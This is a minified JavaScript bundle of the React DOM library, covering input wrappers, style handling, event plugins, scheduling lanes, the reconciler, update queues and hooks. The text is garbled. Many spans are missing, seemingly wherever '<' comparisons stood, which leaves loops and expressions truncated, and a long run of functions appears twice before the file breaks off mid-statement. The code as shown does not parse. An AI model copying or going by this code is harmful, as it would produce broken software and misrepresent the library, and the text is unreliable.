p=d.defaultValue==null?"":d.defaultValue,x=d.checked!=null?d.checked:d.defaultChecked;p=ue(d.value!=null?d.value:p),l._wrapperState={initialChecked:x,initialValue:p,controlled:d.type==="checkbox"||d.type==="radio"?d.checked!=null:d.value!=null}}function yt(l,d){d=d.checked,d!=null&&E(l,"checked",d,!1)}function nn(l,d){yt(l,d);var p=ue(d.value),x=d.type;if(p!=null)x==="number"?(p===0&&l.value===""||l.value!=p)&&(l.value=""+p):l.value!==""+p&&(l.value=""+p);else if(x==="submit"||x==="reset"){l.removeAttribute("value");return}d.hasOwnProperty("value")?Mt(l,d.type,p):d.hasOwnProperty("defaultValue")&&Mt(l,d.type,ue(d.defaultValue)),d.checked==null&&d.defaultChecked!=null&&(l.defaultChecked=!!d.defaultChecked)}function In(l,d,p){if(d.hasOwnProperty("value")||d.hasOwnProperty("defaultValue")){var x=d.type;if(!(x!=="submit"&&x!=="reset"||d.value!==void 0&&d.value!==null))return;d=""+l._wrapperState.initialValue,p||d===l.value||(l.value=d),l.defaultValue=d}p=l.name,p!==""&&(l.name=""),l.defaultChecked=!!l._wrapperState.initialChecked,p!==""&&(l.name=p)}function Mt(l,d,p){(d!=="number"||lt(l.ownerDocument)!==l)&&(p==null?l.defaultValue=""+l._wrapperState.initialValue:l.defaultValue!==""+p&&(l.defaultValue=""+p))}var Yt=Array.isArray;function rn(l,d,p,x){if(l=l.options,d){d={};for(var j=0;j"+d.valueOf().toString()+"",d=Je.firstChild;l.firstChild;)l.removeChild(l.firstChild);for(;d.firstChild;)l.appendChild(d.firstChild)}});function ct(l,d){if(d){var p=l.firstChild;if(p&&p===l.lastChild&&p.nodeType===3){p.nodeValue=d;return}}l.textContent=d}var nt={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},gt=["Webkit","ms","Moz","O"];Object.keys(nt).forEach(function(l){gt.forEach(function(d){d=d+l.charAt(0).toUpperCase()+l.substring(1),nt[d]=nt[l]})});function Rt(l,d,p){return d==null||typeof d=="boolean"||d===""?"":p||typeof d!="number"||d===0||nt.hasOwnProperty(l)&&nt[l]?(""+d).trim():d+"px"}function gn(l,d){l=l.style;for(var p in d)if(d.hasOwnProperty(p)){var x=p.indexOf("--")===0,j=Rt(p,d[p],x);p==="float"&&(p="cssFloat"),x?l.setProperty(p,j):l[p]=j}}var mr=V({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function wr(l,d){if(d){if(mr[l]&&(d.children!=null||d.dangerouslySetInnerHTML!=null))throw Error(n(137,l));if(d.dangerouslySetInnerHTML!=null){if(d.children!=null)throw Error(n(60));if(typeof d.dangerouslySetInnerHTML!="object"||!("__html"in d.dangerouslySetInnerHTML))throw Error(n(61))}if(d.style!=null&&typeof d.style!="object")throw Error(n(62))}}function As(l,d){if(l.indexOf("-")===-1)return typeof d.is=="string";switch(l){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Wr=null;function Is(l){return l=l.target||l.srcElement||window,l.correspondingUseElement&&(l=l.correspondingUseElement),l.nodeType===3?l.parentNode:l}var pe=null,ge=null,Pt=null;function On(l){if(l=cc(l)){if(typeof pe!="function")throw Error(n(280));var d=l.stateNode;d&&(d=$d(d),pe(l.stateNode,l.type,d))}}function Qs(l){ge?Pt?Pt.push(l):Pt=[l]:ge=l}function Xs(){if(ge){var l=ge,d=Pt;if(Pt=ge=null,On(l),d)for(l=0;l>>=0,l===0?32:31-(Nn(l)/gr|0)|0}var Qt=64,Un=4194304;function ps(l){switch(l&-l){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return l&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return l&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return l}}function Os(l,d){var p=l.pendingLanes;if(p===0)return 0;var x=0,j=l.suspendedLanes,S=l.pingedLanes,A=p&268435455;if(A!==0){var F=A&~j;F!==0?x=ps(F):(S&=A,S!==0&&(x=ps(S)))}else A=p&~j,A!==0?x=ps(A):S!==0&&(x=ps(S));if(x===0)return 0;if(d!==0&&d!==x&&(d&j)===0&&(j=x&-x,S=d&-d,j>=S||j===16&&(S&4194240)!==0))return d;if((x&4)!==0&&(x|=p&16),d=l.entangledLanes,d!==0)for(l=l.entanglements,d&=x;0p;p++)d.push(l);return d}function zi(l,d,p){l.pendingLanes|=d,d!==536870912&&(l.suspendedLanes=0,l.pingedLanes=0),l=l.eventTimes,d=31-Ge(d),l[d]=p}function kd(l,d){var p=l.pendingLanes&~d;l.pendingLanes=d,l.suspendedLanes=0,l.pingedLanes=0,l.expiredLanes&=d,l.mutableReadLanes&=d,l.entangledLanes&=d,d=l.entanglements;var x=l.eventTimes;for(l=l.expirationTimes;0=ec),hy=" ",fy=!1;function py(l,d){switch(l){case"keyup":return p3.indexOf(d.keyCode)!==-1;case"keydown":return d.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function my(l){return l=l.detail,typeof l=="object"&&"data"in l?l.data:null}var _o=!1;function g3(l,d){switch(l){case"compositionend":return my(d);case"keypress":return d.which!==32?null:(fy=!0,hy);case"textInput":return l=d.data,l===hy&&fy?null:l;default:return null}}function x3(l,d){if(_o)return l==="compositionend"||!ep&&py(l,d)?(l=iy(),Td=Gf=Da=null,_o=!1,l):null;switch(l){case"paste":return null;case"keypress":if(!(d.ctrlKey||d.altKey||d.metaKey)||d.ctrlKey&&d.altKey){if(d.char&&1=d)return{node:p,offset:d-l};l=x}e:{for(;p;){if(p.nextSibling){p=p.nextSibling;break e}p=p.parentNode}p=void 0}p=wy(p)}}function ky(l,d){return l&&d?l===d?!0:l&&l.nodeType===3?!1:d&&d.nodeType===3?ky(l,d.parentNode):"contains"in l?l.contains(d):l.compareDocumentPosition?!!(l.compareDocumentPosition(d)&16):!1:!1}function Sy(){for(var l=window,d=lt();d instanceof l.HTMLIFrameElement;){try{var p=typeof d.contentWindow.location.href=="string"}catch{p=!1}if(p)l=d.contentWindow;else break;d=lt(l.document)}return d}function rp(l){var d=l&&l.nodeName&&l.nodeName.toLowerCase();return d&&(d==="input"&&(l.type==="text"||l.type==="search"||l.type==="tel"||l.type==="url"||l.type==="password")||d==="textarea"||l.contentEditable==="true")}function C3(l){var d=Sy(),p=l.focusedElem,x=l.selectionRange;if(d!==p&&p&&p.ownerDocument&&ky(p.ownerDocument.documentElement,p)){if(x!==null&&rp(p)){if(d=x.start,l=x.end,l===void 0&&(l=d),"selectionStart"in p)p.selectionStart=d,p.selectionEnd=Math.min(l,p.value.length);else if(l=(d=p.ownerDocument||document)&&d.defaultView||window,l.getSelection){l=l.getSelection();var j=p.textContent.length,S=Math.min(x.start,j);x=x.end===void 0?S:Math.min(x.end,j),!l.extend&&S>x&&(j=x,x=S,S=j),j=jy(p,S);var A=jy(p,x);j&&A&&(l.rangeCount!==1||l.anchorNode!==j.node||l.anchorOffset!==j.offset||l.focusNode!==A.node||l.focusOffset!==A.offset)&&(d=d.createRange(),d.setStart(j.node,j.offset),l.removeAllRanges(),S>x?(l.addRange(d),l.extend(A.node,A.offset)):(d.setEnd(A.node,A.offset),l.addRange(d)))}}for(d=[],l=p;l=l.parentNode;)l.nodeType===1&&d.push({element:l,left:l.scrollLeft,top:l.scrollTop});for(typeof p.focus=="function"&&p.focus(),p=0;p=document.documentMode,zo=null,sp=null,sc=null,ap=!1;function Cy(l,d,p){var x=p.window===p?p.document:p.nodeType===9?p:p.ownerDocument;ap||zo==null||zo!==lt(x)||(x=zo,"selectionStart"in x&&rp(x)?x={start:x.selectionStart,end:x.selectionEnd}:(x=(x.ownerDocument&&x.ownerDocument.defaultView||window).getSelection(),x={anchorNode:x.anchorNode,anchorOffset:x.anchorOffset,focusNode:x.focusNode,focusOffset:x.focusOffset}),sc&&rc(sc,x)||(sc=x,x=Ld(sp,"onSelect"),0Ho||(l.current=xp[Ho],xp[Ho]=null,Ho--)}function Vt(l,d){Ho++,xp[Ho]=l.current,l.current=d}var $a={},tr=za($a),jr=za(!1),Vi=$a;function Wo(l,d){var p=l.type.contextTypes;if(!p)return $a;var x=l.stateNode;if(x&&x.__reactInternalMemoizedUnmaskedChildContext===d)return x.__reactInternalMemoizedMaskedChildContext;var j={},S;for(S in p)j[S]=d[S];return x&&(l=l.stateNode,l.__reactInternalMemoizedUnmaskedChildContext=d,l.__reactInternalMemoizedMaskedChildContext=j),j}function kr(l){return l=l.childContextTypes,l!=null}function Fd(){Gt(jr),Gt(tr)}function By(l,d,p){if(tr.current!==$a)throw Error(n(168));Vt(tr,d),Vt(jr,p)}function Vy(l,d,p){var x=l.stateNode;if(d=d.childContextTypes,typeof x.getChildContext!="function")return p;x=x.getChildContext();for(var j in x)if(!(j in d))throw Error(n(108,re(l)||"Unknown",j));return V({},p,x)}function Bd(l){return l=(l=l.stateNode)&&l.__reactInternalMemoizedMergedChildContext||$a,Vi=tr.current,Vt(tr,l),Vt(jr,jr.current),!0}function Hy(l,d,p){var x=l.stateNode;if(!x)throw Error(n(169));p?(l=Vy(l,d,Vi),x.__reactInternalMemoizedMergedChildContext=l,Gt(jr),Gt(tr),Vt(tr,l)):Gt(jr),Vt(jr,p)}var sa=null,Vd=!1,yp=!1;function Wy(l){sa===null?sa=[l]:sa.push(l)}function z3(l){Vd=!0,Wy(l)}function Fa(){if(!yp&&sa!==null){yp=!0;var l=0,d=Nt;try{var p=sa;for(Nt=1;l>=A,j-=A,aa=1<<32-Ge(d)+j|p<at?($n=tt,tt=null):$n=tt.sibling;var wt=we(ae,tt,de[at],Ae);if(wt===null){tt===null&&(tt=$n);break}l&&tt&&wt.alternate===null&&d(ae,tt),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt,tt=$n}if(at===de.length)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;atat?($n=tt,tt=null):$n=tt.sibling;var Ja=we(ae,tt,wt.value,Ae);if(Ja===null){tt===null&&(tt=$n);break}l&&tt&&Ja.alternate===null&&d(ae,tt),ee=S(Ja,ee,at),et===null?He=Ja:et.sibling=Ja,et=Ja,tt=$n}if(wt.done)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;!wt.done;at++,wt=de.next())wt=Se(ae,wt.value,Ae),wt!==null&&(ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return Xt&&Wi(ae,at),He}for(tt=x(ae,tt);!wt.done;at++,wt=de.next())wt=Oe(tt,ae,at,wt.value,Ae),wt!==null&&(l&&wt.alternate!==null&&tt.delete(wt.key===null?at:wt.key),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return l&&tt.forEach(function(yE){return d(ae,yE)}),Xt&&Wi(ae,at),He}function yn(ae,ee,de,Ae){if(typeof de=="object"&&de!==null&&de.type===L&&de.key===null&&(de=de.props.children),typeof de=="object"&&de!==null){switch(de.$$typeof){case I:e:{for(var He=de.key,et=ee;et!==null;){if(et.key===He){if(He=de.type,He===L){if(et.tag===7){p(ae,et.sibling),ee=j(et,de.props.children),ee.return=ae,ae=ee;break e}}else if(et.elementType===He||typeof He=="object"&&He!==null&&He.$$typeof===H&&Yy(He)===et.type){p(ae,et.sibling),ee=j(et,de.props),ee.ref=dc(ae,et,de),ee.return=ae,ae=ee;break e}p(ae,et);break}else d(ae,et);et=et.sibling}de.type===L?(ee=Xi(de.props.children,ae.mode,Ae,de.key),ee.return=ae,ae=ee):(Ae=gu(de.type,de.key,de.props,null,ae.mode,Ae),Ae.ref=dc(ae,ee,de),Ae.return=ae,ae=Ae)}return A(ae);case O:e:{for(et=de.key;ee!==null;){if(ee.key===et)if(ee.tag===4&&ee.stateNode.containerInfo===de.containerInfo&&ee.stateNode.implementation===de.implementation){p(ae,ee.sibling),ee=j(ee,de.children||[]),ee.return=ae,ae=ee;break e}else{p(ae,ee);break}else d(ae,ee);ee=ee.sibling}ee=mm(de,ae.mode,Ae),ee.return=ae,ae=ee}return A(ae);case H:return et=de._init,yn(ae,ee,et(de._payload),Ae)}if(Yt(de))return ze(ae,ee,de,Ae);if(K(de))return Be(ae,ee,de,Ae);Kd(ae,de)}return typeof de=="string"&&de!==""||typeof de=="number"?(de=""+de,ee!==null&&ee.tag===6?(p(ae,ee.sibling),ee=j(ee,de),ee.return=ae,ae=ee):(p(ae,ee),ee=pm(de,ae.mode,Ae),ee.return=ae,ae=ee),A(ae)):p(ae,ee)}return yn}var Go=Qy(!0),Xy=Qy(!1),qd=za(null),Gd=null,Jo=null,kp=null;function Sp(){kp=Jo=Gd=null}function Cp(l){var d=qd.current;Gt(qd),l._currentValue=d}function Ep(l,d,p){for(;l!==null;){var x=l.alternate;if((l.childLanes&d)!==d?(l.childLanes|=d,x!==null&&(x.childLanes|=d)):x!==null&&(x.childLanes&d)!==d&&(x.childLanes|=d),l===p)break;l=l.return}}function Yo(l,d){Gd=l,kp=Jo=null,l=l.dependencies,l!==null&&l.firstContext!==null&&((l.lanes&d)!==0&&(Sr=!0),l.firstContext=null)}function Xr(l){var d=l._currentValue;if(kp!==l)if(l={context:l,memoizedValue:d,next:null},Jo===null){if(Gd===null)throw Error(n(308));Jo=l,Gd.dependencies={lanes:0,firstContext:l}}else Jo=Jo.next=l;return d}var Ui=null;function Tp(l){Ui===null?Ui=[l]:Ui.push(l)}function Zy(l,d,p,x){var j=d.interleaved;return j===null?(p.next=p,Tp(d)):(p.next=j.next,j.next=p),d.interleaved=p,oa(l,x)}function oa(l,d){l.lanes|=d;var p=l.alternate;for(p!==null&&(p.lanes|=d),p=l,l=l.return;l!==null;)l.childLanes|=d,p=l.alternate,p!==null&&(p.childLanes|=d),p=l,l=l.return;return p.tag===3?p.stateNode:null}var Ba=!1;function Mp(l){l.updateQueue={baseState:l.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function eb(l,d){l=l.updateQueue,d.updateQueue===l&&(d.updateQueue={baseState:l.baseState,firstBaseUpdate:l.firstBaseUpdate,lastBaseUpdate:l.lastBaseUpdate,shared:l.shared,effects:l.effects})}function la(l,d){return{eventTime:l,lane:d,tag:0,payload:null,callback:null,next:null}}function Va(l,d,p){var x=l.updateQueue;if(x===null)return null;if(x=x.shared,(bt&2)!==0){var j=x.pending;return j===null?d.next=d:(d.next=j.next,j.next=d),x.pending=d,oa(l,p)}return j=x.interleaved,j===null?(d.next=d,Tp(x)):(d.next=j.next,j.next=d),x.interleaved=d,oa(l,p)}function Jd(l,d,p){if(d=d.updateQueue,d!==null&&(d=d.shared,(p&4194240)!==0)){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}function tb(l,d){var p=l.updateQueue,x=l.alternate;if(x!==null&&(x=x.updateQueue,p===x)){var j=null,S=null;if(p=p.firstBaseUpdate,p!==null){do{var A={eventTime:p.eventTime,lane:p.lane,tag:p.tag,payload:p.payload,callback:p.callback,next:null};S===null?j=S=A:S=S.next=A,p=p.next}while(p!==null);S===null?j=S=d:S=S.next=d}else j=S=d;p={baseState:x.baseState,firstBaseUpdate:j,lastBaseUpdate:S,shared:x.shared,effects:x.effects},l.updateQueue=p;return}l=p.lastBaseUpdate,l===null?p.firstBaseUpdate=d:l.next=d,p.lastBaseUpdate=d}function Yd(l,d,p,x){var j=l.updateQueue;Ba=!1;var S=j.firstBaseUpdate,A=j.lastBaseUpdate,F=j.shared.pending;if(F!==null){j.shared.pending=null;var G=F,he=G.next;G.next=null,A===null?S=he:A.next=he,A=G;var je=l.alternate;je!==null&&(je=je.updateQueue,F=je.lastBaseUpdate,F!==A&&(F===null?je.firstBaseUpdate=he:F.next=he,je.lastBaseUpdate=G))}if(S!==null){var Se=j.baseState;A=0,je=he=G=null,F=S;do{var we=F.lane,Oe=F.eventTime;if((x&we)===we){je!==null&&(je=je.next={eventTime:Oe,lane:0,tag:F.tag,payload:F.payload,callback:F.callback,next:null});e:{var ze=l,Be=F;switch(we=d,Oe=p,Be.tag){case 1:if(ze=Be.payload,typeof ze=="function"){Se=ze.call(Oe,Se,we);break e}Se=ze;break e;case 3:ze.flags=ze.flags&-65537|128;case 0:if(ze=Be.payload,we=typeof ze=="function"?ze.call(Oe,Se,we):ze,we==null)break e;Se=V({},Se,we);break e;case 2:Ba=!0}}F.callback!==null&&F.lane!==0&&(l.flags|=64,we=j.effects,we===null?j.effects=[F]:we.push(F))}else Oe={eventTime:Oe,lane:we,tag:F.tag,payload:F.payload,callback:F.callback,next:null},je===null?(he=je=Oe,G=Se):je=je.next=Oe,A|=we;if(F=F.next,F===null){if(F=j.shared.pending,F===null)break;we=F,F=we.next,we.next=null,j.lastBaseUpdate=we,j.shared.pending=null}}while(!0);if(je===null&&(G=Se),j.baseState=G,j.firstBaseUpdate=he,j.lastBaseUpdate=je,d=j.shared.interleaved,d!==null){j=d;do A|=j.lane,j=j.next;while(j!==d)}else S===null&&(j.shared.lanes=0);Gi|=A,l.lanes=A,l.memoizedState=Se}}function nb(l,d,p){if(l=d.effects,d.effects=null,l!==null)for(d=0;dp?p:4,l(!0);var x=Op.transition;Op.transition={};try{l(!1),d()}finally{Nt=p,Op.transition=x}}function Nb(){return Zr().memoizedState}function V3(l,d,p){var x=Ka(l);if(p={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null},wb(l))jb(d,p);else if(p=Zy(l,d,p,x),p!==null){var j=yr();Ns(p,l,x,j),kb(p,d,x)}}function H3(l,d,p){var x=Ka(l),j={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null};if(wb(l))jb(d,j);else{var S=l.alternate;if(l.lanes===0&&(S===null||S.lanes===0)&&(S=d.lastRenderedReducer,S!==null))try{var A=d.lastRenderedState,F=S(A,p);if(j.hasEagerState=!0,j.eagerState=F,gs(F,A)){var G=d.interleaved;G===null?(j.next=j,Tp(d)):(j.next=G.next,G.next=j),d.interleaved=j;return}}catch{}finally{}p=Zy(l,d,j,x),p!==null&&(j=yr(),Ns(p,l,x,j),kb(p,d,x))}}function wb(l){var d=l.alternate;return l===an||d!==null&&d===an}function jb(l,d){pc=Zd=!0;var p=l.pending;p===null?d.next=d:(d.next=p.next,p.next=d),l.pending=d}function kb(l,d,p){if((p&4194240)!==0){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}var nu={readContext:Xr,useCallback:nr,useContext:nr,useEffect:nr,useImperativeHandle:nr,useInsertionEffect:nr,useLayoutEffect:nr,useMemo:nr,useReducer:nr,useRef:nr,useState:nr,useDebugValue:nr,useDeferredValue:nr,useTransition:nr,useMutableSource:nr,useSyncExternalStore:nr,useId:nr,unstable_isNewReconciler:!1},W3={readContext:Xr,useCallback:function(l,d){return _s().memoizedState=[l,d===void 0?null:d],l},useContext:Xr,useEffect:fb,useImperativeHandle:function(l,d,p){return p=p!=null?p.concat([l]):null,eu(4194308,4,gb.bind(null,d,l),p)},useLayoutEffect:function(l,d){return eu(4194308,4,l,d)},useInsertionEffect:function(l,d){return eu(4,2,l,d)},useMemo:function(l,d){var p=_s();return d=d===void 0?null:d,l=l(),p.memoizedState=[l,d],l},useReducer:function(l,d,p){var x=_s();return d=p!==void 0?p(d):d,x.memoizedState=x.baseState=d,l={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:l,lastRenderedState:d},x.queue=l,l=l.dispatch=V3.bind(null,an,l),[x.memoizedState,l]},useRef:function(l){var d=_s();return l={current:l},d.memoizedState=l},useState:ub,useDebugValue:Bp,useDeferredValue:function(l){return _s().memoizedState=l},useTransition:function(){var l=ub(!1),d=l[0];return l=B3.bind(null,l[1]),_s().memoizedState=l,[d,l]},useMutableSource:function(){},useSyncExternalStore:function(l,d,p){var x=an,j=_s();if(Xt){if(p===void 0)throw Error(n(407));p=p()}else{if(p=d(),zn===null)throw Error(n(349));(qi&30)!==0||ib(x,d,p)}j.memoizedState=p;var S={value:p,getSnapshot:d};return j.queue=S,fb(lb.bind(null,x,S,l),[l]),x.flags|=2048,xc(9,ob.bind(null,x,S,p,d),void 0,null),p},useId:function(){var l=_s(),d=zn.identifierPrefix;if(Xt){var p=ia,x=aa;p=(x&~(1<<32-Ge(x)-1)).toString(32)+p,d=":"+d+"R"+p,p=mc++,0")&&(G=G.replace("",l.displayName)),G}while(1<=A&&0<=F);break}}}finally{le=!1,Error.prepareStackTrace=p}return(l=l?l.displayName||l.name:"")?W(l):""}function Y(l){switch(l.tag){case 5:return W(l.type);case 16:return W("Lazy");case 13:return W("Suspense");case 19:return W("SuspenseList");case 0:case 2:case 15:return l=J(l.type,!1),l;case 11:return l=J(l.type.render,!1),l;case 1:return l=J(l.type,!0),l;default:return""}}function V(l){if(l==null)return null;if(typeof l=="function")return l.displayName||l.name||null;if(typeof l=="string")return l;switch(l){case L:return"Fragment";case O:return"Portal";case D:return"Profiler";case R:return"StrictMode";case fe:return"Suspense";case xe:return"SuspenseList"}if(typeof l=="object")switch(l.$$typeof){case Z:return(l.displayName||"Context")+".Consumer";case z:return(l._context.displayName||"Context")+".Provider";case ne:var d=l.render;return l=l.displayName,l||(l=d.displayName||d.name||"",l=l!==""?"ForwardRef("+l+")":"ForwardRef"),l;case $:return d=l.displayName||null,d!==null?d:V(l.type)||"Memo";case H:d=l._payload,l=l._init;try{return V(l(d))}catch{}}return null}function re(l){var d=l.type;switch(l.tag){case 24:return"Cache";case 9:return(d.displayName||"Context")+".Consumer";case 10:return(d._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return l=d.render,l=l.displayName||l.name||"",d.displayName||(l!==""?"ForwardRef("+l+")":"ForwardRef");case 7:return"Fragment";case 5:return d;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return V(d);case 8:return d===R?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof d=="function")return d.displayName||d.name||null;if(typeof d=="string")return d}return null}function ue(l){switch(typeof l){case"boolean":case"number":case"string":case"undefined":return l;case"object":return l;default:return""}}function ce(l){var d=l.type;return(l=l.nodeName)&&l.toLowerCase()==="input"&&(d==="checkbox"||d==="radio")}function ye(l){var d=ce(l)?"checked":"value",p=Object.getOwnPropertyDescriptor(l.constructor.prototype,d),x=""+l[d];if(!l.hasOwnProperty(d)&&typeof p<"u"&&typeof p.get=="function"&&typeof p.set=="function"){var j=p.get,S=p.set;return Object.defineProperty(l,d,{configurable:!0,get:function(){return j.call(this)},set:function(A){x=""+A,S.call(this,A)}}),Object.defineProperty(l,d,{enumerable:p.enumerable}),{getValue:function(){return x},setValue:function(A){x=""+A},stopTracking:function(){l._valueTracker=null,delete l[d]}}}}function Re(l){l._valueTracker||(l._valueTracker=ye(l))}function Le(l){if(!l)return!1;var d=l._valueTracker;if(!d)return!0;var p=d.getValue(),x="";return l&&(x=ce(l)?l.checked?"true":"false":l.value),l=x,l!==p?(d.setValue(l),!0):!1}function lt(l){if(l=l||(typeof document<"u"?document:void 0),typeof l>"u")return null;try{return l.activeElement||l.body}catch{return l.body}}function Tt(l,d){var p=d.checked;return B({},d,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:p??l._wrapperState.initialChecked})}function ln(l,d){var p=d.defaultValue==null?"":d.defaultValue,x=d.checked!=null?d.checked:d.defaultChecked;p=ue(d.value!=null?d.value:p),l._wrapperState={initialChecked:x,initialValue:p,controlled:d.type==="checkbox"||d.type==="radio"?d.checked!=null:d.value!=null}}function yt(l,d){d=d.checked,d!=null&&E(l,"checked",d,!1)}function nn(l,d){yt(l,d);var p=ue(d.value),x=d.type;if(p!=null)x==="number"?(p===0&&l.value===""||l.value!=p)&&(l.value=""+p):l.value!==""+p&&(l.value=""+p);else if(x==="submit"||x==="reset"){l.removeAttribute("value");return}d.hasOwnProperty("value")?Mt(l,d.type,p):d.hasOwnProperty("defaultValue")&&Mt(l,d.type,ue(d.defaultValue)),d.checked==null&&d.defaultChecked!=null&&(l.defaultChecked=!!d.defaultChecked)}function In(l,d,p){if(d.hasOwnProperty("value")||d.hasOwnProperty("defaultValue")){var x=d.type;if(!(x!=="submit"&&x!=="reset"||d.value!==void 0&&d.value!==null))return;d=""+l._wrapperState.initialValue,p||d===l.value||(l.value=d),l.defaultValue=d}p=l.name,p!==""&&(l.name=""),l.defaultChecked=!!l._wrapperState.initialChecked,p!==""&&(l.name=p)}function Mt(l,d,p){(d!=="number"||lt(l.ownerDocument)!==l)&&(p==null?l.defaultValue=""+l._wrapperState.initialValue:l.defaultValue!==""+p&&(l.defaultValue=""+p))}var Yt=Array.isArray;function rn(l,d,p,x){if(l=l.options,d){d={};for(var j=0;j"+d.valueOf().toString()+"",d=Je.firstChild;l.firstChild;)l.removeChild(l.firstChild);for(;d.firstChild;)l.appendChild(d.firstChild)}});function ct(l,d){if(d){var p=l.firstChild;if(p&&p===l.lastChild&&p.nodeType===3){p.nodeValue=d;return}}l.textContent=d}var nt={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},gt=["Webkit","ms","Moz","O"];Object.keys(nt).forEach(function(l){gt.forEach(function(d){d=d+l.charAt(0).toUpperCase()+l.substring(1),nt[d]=nt[l]})});function Rt(l,d,p){return d==null||typeof d=="boolean"||d===""?"":p||typeof d!="number"||d===0||nt.hasOwnProperty(l)&&nt[l]?(""+d).trim():d+"px"}function gn(l,d){l=l.style;for(var p in d)if(d.hasOwnProperty(p)){var x=p.indexOf("--")===0,j=Rt(p,d[p],x);p==="float"&&(p="cssFloat"),x?l.setProperty(p,j):l[p]=j}}var mr=B({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function wr(l,d){if(d){if(mr[l]&&(d.children!=null||d.dangerouslySetInnerHTML!=null))throw Error(n(137,l));if(d.dangerouslySetInnerHTML!=null){if(d.children!=null)throw Error(n(60));if(typeof d.dangerouslySetInnerHTML!="object"||!("__html"in d.dangerouslySetInnerHTML))throw Error(n(61))}if(d.style!=null&&typeof d.style!="object")throw Error(n(62))}}function As(l,d){if(l.indexOf("-")===-1)return typeof d.is=="string";switch(l){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Wr=null;function Is(l){return l=l.target||l.srcElement||window,l.correspondingUseElement&&(l=l.correspondingUseElement),l.nodeType===3?l.parentNode:l}var pe=null,ge=null,Pt=null;function On(l){if(l=cc(l)){if(typeof pe!="function")throw Error(n(280));var d=l.stateNode;d&&(d=$d(d),pe(l.stateNode,l.type,d))}}function Qs(l){ge?Pt?Pt.push(l):Pt=[l]:ge=l}function Xs(){if(ge){var l=ge,d=Pt;if(Pt=ge=null,On(l),d)for(l=0;l>>=0,l===0?32:31-(Nn(l)/gr|0)|0}var Qt=64,Un=4194304;function ps(l){switch(l&-l){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return l&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return l&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return l}}function Os(l,d){var p=l.pendingLanes;if(p===0)return 0;var x=0,j=l.suspendedLanes,S=l.pingedLanes,A=p&268435455;if(A!==0){var F=A&~j;F!==0?x=ps(F):(S&=A,S!==0&&(x=ps(S)))}else A=p&~j,A!==0?x=ps(A):S!==0&&(x=ps(S));if(x===0)return 